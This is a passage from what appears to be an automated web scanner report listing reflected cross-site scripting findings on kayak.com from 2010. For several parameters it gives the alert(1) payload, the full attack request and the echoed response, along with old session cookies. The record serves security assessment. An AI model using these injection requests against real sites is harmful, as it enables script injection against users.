Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=1; p1.med.searched=true; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:19:20 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=30-GA0rMdSf25xkGaT0uDWe; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=MrxnYgL$77Z6kPt3Ijx$uw; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:19:20 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 46955

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<label for="newlocation">More than one city matched "Boston, MA, US210c6<script>alert(1)</script>1c93a182a2c". Please select a city from the list below:</label>
...[SNIP]...

2.2. http://www.kayak.com/hotels [comparetosite parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the comparetosite request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92c4a"%3balert(1)//58743e9da9463248c was submitted in the comparetosite parameter. This input was echoed as 92c4a";alert(1)//58743e9da9463248c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /hotels?basicmode=false&citycode=&othercity=bos&checkin_date=&checkout_date=&rooms=1&guests1=1&guests2=1&comparetosite=92c4a"%3balert(1)//58743e9da9463248c&comparetosite=EXPEDIA_HFDCMP2&c2s=EASYCLICKTRAVELUS_HFDCMP2%7C5100032%7C0%7C0%7C0%7C0%3BHOTELSDC_HFDCMP2%7C3037410%7C0%7C0%7C0%7C0%3BHOTWIRE_HFDCMP2%7C1031501%7C1%7C0%7C0%7C1%3BPRICLINE_HFDCMP2%7C1031498%7C0%7C0%7C0%7C0%3BEXPEDIA_HFDCMP2%7C1031482%7C1%7C0%7C0%7C1%3BAiraUS_HFDCMP2%7C7196451%7C0%7C0%7C0%7C0%3BVEGASVIEWUS_HFDCMP2%7C7194743%7C0%7C0%7C0%7C0%3BbookitssUS_HFDCMP2%7C5092097%7C0%7C0%7C0%7C0%3BTVLOCITY_HFDCMP2%7C1031495%7C0%7C0%7C0%7C0%3B&student=0&tab=hotels&r9secret=&r9debug=&action=dohotels&location=&geocoded=&hid=&baseAddress=&baseName=&baseZoom=&guests=&datelimit=&po=&lmid=&searchType=C&address=&address_nickname=&postalcode=&lat=&long=&minstars=-1&provider=-1&maxprice=&recent=N&src=&Search.x=74&Search.y=22 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.kayak.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:25 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=22-g64SNNaYXaDOq6SztgNH; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=XoPpA8I6NODYr5SvDeWFrg; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:24 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:21:24 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 201170

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
= "S_CMoe";
var _CURSYMBOL_WIDTH = 1;
var _RIGHT_CURSYMBOL = "";
var _LEFT_CURSYMBOL = "$";


try
{
window.open('', "92c4a";alert(1)//58743e9da9463248c").close();
}
catch(ignored) {}
try
{
window.open("/s/clickthrough.jsp?ctyp=Search&ptyp=H&orig=
...[SNIP]...

2.3. http://www.kayak.com/hotels [hid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the hid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31287"><script>alert(1)</script>e932ef742466eda70 was submitted in the hid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /hotels?basicmode=false&citycode=&othercity=bos&checkin_date=&checkout_date=&rooms=1&guests1=1&guests2=1&comparetosite=HOTWIRE_HFDCMP2&comparetosite=EXPEDIA_HFDCMP2&c2s=EASYCLICKTRAVELUS_HFDCMP2%7C5100032%7C0%7C0%7C0%7C0%3BHOTELSDC_HFDCMP2%7C3037410%7C0%7C0%7C0%7C0%3BHOTWIRE_HFDCMP2%7C1031501%7C1%7C0%7C0%7C1%3BPRICLINE_HFDCMP2%7C1031498%7C0%7C0%7C0%7C0%3BEXPEDIA_HFDCMP2%7C1031482%7C1%7C0%7C0%7C1%3BAiraUS_HFDCMP2%7C7196451%7C0%7C0%7C0%7C0%3BVEGASVIEWUS_HFDCMP2%7C7194743%7C0%7C0%7C0%7C0%3BbookitssUS_HFDCMP2%7C5092097%7C0%7C0%7C0%7C0%3BTVLOCITY_HFDCMP2%7C1031495%7C0%7C0%7C0%7C0%3B&student=0&tab=hotels&r9secret=&r9debug=&action=dohotels&location=&geocoded=&hid=31287"><script>alert(1)</script>e932ef742466eda70&baseAddress=&baseName=&baseZoom=&guests=&datelimit=&po=&lmid=&searchType=C&address=&address_nickname=&postalcode=&lat=&long=&minstars=-1&provider=-1&maxprice=&recent=N&src=&Search.x=74&Search.y=22 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.kayak.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:36 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=20-YSNExV0XO$HxgFa0JR7B; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=1nysqFRpnFvJVItYCSb9JA; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:35 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:21:35 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 201784

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<input type="hidden" name="hid" value="31287"><script>alert(1)</script>e932ef742466eda70"/>
...[SNIP]...

2.4. http://www.kayak.com/hotels [hid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the hid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ca86"%3balert(1)//639ae536e4e48433b was submitted in the hid parameter. This input was echoed as 9ca86";alert(1)//639ae536e4e48433b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /hotels?basicmode=false&citycode=&othercity=bos&checkin_date=&checkout_date=&rooms=1&guests1=1&guests2=1&comparetosite=HOTWIRE_HFDCMP2&comparetosite=EXPEDIA_HFDCMP2&c2s=EASYCLICKTRAVELUS_HFDCMP2%7C5100032%7C0%7C0%7C0%7C0%3BHOTELSDC_HFDCMP2%7C3037410%7C0%7C0%7C0%7C0%3BHOTWIRE_HFDCMP2%7C1031501%7C1%7C0%7C0%7C1%3BPRICLINE_HFDCMP2%7C1031498%7C0%7C0%7C0%7C0%3BEXPEDIA_HFDCMP2%7C1031482%7C1%7C0%7C0%7C1%3BAiraUS_HFDCMP2%7C7196451%7C0%7C0%7C0%7C0%3BVEGASVIEWUS_HFDCMP2%7C7194743%7C0%7C0%7C0%7C0%3BbookitssUS_HFDCMP2%7C5092097%7C0%7C0%7C0%7C0%3BTVLOCITY_HFDCMP2%7C1031495%7C0%7C0%7C0%7C0%3B&student=0&tab=hotels&r9secret=&r9debug=&action=dohotels&location=&geocoded=&hid=9ca86"%3balert(1)//639ae536e4e48433b&baseAddress=&baseName=&baseZoom=&guests=&datelimit=&po=&lmid=&searchType=C&address=&address_nickname=&postalcode=&lat=&long=&minstars=-1&provider=-1&maxprice=&recent=N&src=&Search.x=74&Search.y=22 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.kayak.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:41 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=8-YYe9dThQxyBO7yoqqJx1; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=jEdS43M6PQ9SOVHDZg1y_Q; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:40 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:21:40 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 201739

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
V";
var SessionID = "8-YYe9dThQxyBO7yoqqJx1";
var ServerURL = "http://www.kayak.com";
var RegisterURL = "https://www.kayak.com/k/ident/register";
var SearchURL = "http://www.kayak.com/hotels?hid=9ca86";alert(1)//639ae536e4e48433b&location=bos&citycode=25588&rooms=1&rating=0&checkin_date=null&checkout_date=null&travelers=1&guests=1&searchType=C&action=dohotels";
var CookiePrefix = "p1.med";
var CookieDomain = ".kayak.com";


...[SNIP]...

2.5. http://www.kayak.com/hotels [lmid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the lmid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6158"><script>alert(1)</script>c28e08a5dae48e32f was submitted in the lmid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /hotels?basicmode=false&citycode=&othercity=bos&checkin_date=&checkout_date=&rooms=1&guests1=1&guests2=1&comparetosite=HOTWIRE_HFDCMP2&comparetosite=EXPEDIA_HFDCMP2&c2s=EASYCLICKTRAVELUS_HFDCMP2%7C5100032%7C0%7C0%7C0%7C0%3BHOTELSDC_HFDCMP2%7C3037410%7C0%7C0%7C0%7C0%3BHOTWIRE_HFDCMP2%7C1031501%7C1%7C0%7C0%7C1%3BPRICLINE_HFDCMP2%7C1031498%7C0%7C0%7C0%7C0%3BEXPEDIA_HFDCMP2%7C1031482%7C1%7C0%7C0%7C1%3BAiraUS_HFDCMP2%7C7196451%7C0%7C0%7C0%7C0%3BVEGASVIEWUS_HFDCMP2%7C7194743%7C0%7C0%7C0%7C0%3BbookitssUS_HFDCMP2%7C5092097%7C0%7C0%7C0%7C0%3BTVLOCITY_HFDCMP2%7C1031495%7C0%7C0%7C0%7C0%3B&student=0&tab=hotels&r9secret=&r9debug=&action=dohotels&location=&geocoded=&hid=&baseAddress=&baseName=&baseZoom=&guests=&datelimit=&po=&lmid=f6158"><script>alert(1)</script>c28e08a5dae48e32f&searchType=C&address=&address_nickname=&postalcode=&lat=&long=&minstars=-1&provider=-1&maxprice=&recent=N&src=&Search.x=74&Search.y=22 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.kayak.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:45 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=3-BT1EmJukPAPymF4XC9UR; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=pX7kI$Gyv5jtlMVlQVpyLw; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:45 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:21:45 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 200435

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<input type="hidden" name="lmid" value="f6158"><script>alert(1)</script>c28e08a5dae48e32f" />
...[SNIP]...

2.6. http://www.kayak.com/hotels [lmid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the lmid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ace19"%3balert(1)//dd3c454673bec4dd0 was submitted in the lmid parameter. This input was echoed as ace19";alert(1)//dd3c454673bec4dd0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /hotels?basicmode=false&citycode=&othercity=bos&checkin_date=&checkout_date=&rooms=1&guests1=1&guests2=1&comparetosite=HOTWIRE_HFDCMP2&comparetosite=EXPEDIA_HFDCMP2&c2s=EASYCLICKTRAVELUS_HFDCMP2%7C5100032%7C0%7C0%7C0%7C0%3BHOTELSDC_HFDCMP2%7C3037410%7C0%7C0%7C0%7C0%3BHOTWIRE_HFDCMP2%7C1031501%7C1%7C0%7C0%7C1%3BPRICLINE_HFDCMP2%7C1031498%7C0%7C0%7C0%7C0%3BEXPEDIA_HFDCMP2%7C1031482%7C1%7C0%7C0%7C1%3BAiraUS_HFDCMP2%7C7196451%7C0%7C0%7C0%7C0%3BVEGASVIEWUS_HFDCMP2%7C7194743%7C0%7C0%7C0%7C0%3BbookitssUS_HFDCMP2%7C5092097%7C0%7C0%7C0%7C0%3BTVLOCITY_HFDCMP2%7C1031495%7C0%7C0%7C0%7C0%3B&student=0&tab=hotels&r9secret=&r9debug=&action=dohotels&location=&geocoded=&hid=&baseAddress=&baseName=&baseZoom=&guests=&datelimit=&po=&lmid=ace19"%3balert(1)//dd3c454673bec4dd0&searchType=C&address=&address_nickname=&postalcode=&lat=&long=&minstars=-1&provider=-1&maxprice=&recent=N&src=&Search.x=74&Search.y=22 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.kayak.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:49 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=20-Yk13l5lhf3XRWkiv8Id8; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=fw_MPcRLJAiRw6invokAVA; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:48 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:21:48 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 200369

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
ttps://www.kayak.com/k/ident/register";
var SearchURL = "http://www.kayak.com/hotels?hid=&location=bos&citycode=25588&rooms=1&rating=0&checkin_date=null&checkout_date=null&travelers=1&guests=1&lmid=ace19";alert(1)//dd3c454673bec4dd0&action=dohotels";
var CookiePrefix = "p1.med";
var CookieDomain = ".kayak.com";

var LogUserEvents = false;
var LogVSEvents = true;

var OuterBgColor = "f3f3f3" || "fff";
var ResultBorderColor
...[SNIP]...

2.7. http://www.kayak.com/hotels [location parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the location request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 227c5"><script>alert(1)</script>8329b60304041e38d was submitted in the location parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /hotels?basicmode=false&citycode=&othercity=bos&checkin_date=&checkout_date=&rooms=1&guests1=1&guests2=1&comparetosite=HOTWIRE_HFDCMP2&comparetosite=EXPEDIA_HFDCMP2&c2s=EASYCLICKTRAVELUS_HFDCMP2%7C5100032%7C0%7C0%7C0%7C0%3BHOTELSDC_HFDCMP2%7C3037410%7C0%7C0%7C0%7C0%3BHOTWIRE_HFDCMP2%7C1031501%7C1%7C0%7C0%7C1%3BPRICLINE_HFDCMP2%7C1031498%7C0%7C0%7C0%7C0%3BEXPEDIA_HFDCMP2%7C1031482%7C1%7C0%7C0%7C1%3BAiraUS_HFDCMP2%7C7196451%7C0%7C0%7C0%7C0%3BVEGASVIEWUS_HFDCMP2%7C7194743%7C0%7C0%7C0%7C0%3BbookitssUS_HFDCMP2%7C5092097%7C0%7C0%7C0%7C0%3BTVLOCITY_HFDCMP2%7C1031495%7C0%7C0%7C0%7C0%3B&student=0&tab=hotels&r9secret=&r9debug=&action=dohotels&location=227c5"><script>alert(1)</script>8329b60304041e38d&geocoded=&hid=&baseAddress=&baseName=&baseZoom=&guests=&datelimit=&po=&lmid=&searchType=C&address=&address_nickname=&postalcode=&lat=&long=&minstars=-1&provider=-1&maxprice=&recent=N&src=&Search.x=74&Search.y=22 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.kayak.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:32 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=5-vttZ0TaHiUzBb_8MYUnY; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=xq48zjSpbgXVGn7DvBYyMg; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:32 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 53163

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<input type="hidden" name="location" value="227c5"><script>alert(1)</script>8329b60304041e38d" />
...[SNIP]...

2.8. http://www.kayak.com/in [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /in

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload ba1c1<script>alert(1)</script>b26c2e6eb85 was submitted in the url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /in?a=hfdccmp&url=ba1c1<script>alert(1)</script>b26c2e6eb85 HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/vIWLzl
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations; p1.med.sc=3; p1.med.searched=true; dc=dc2; cluster=4

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
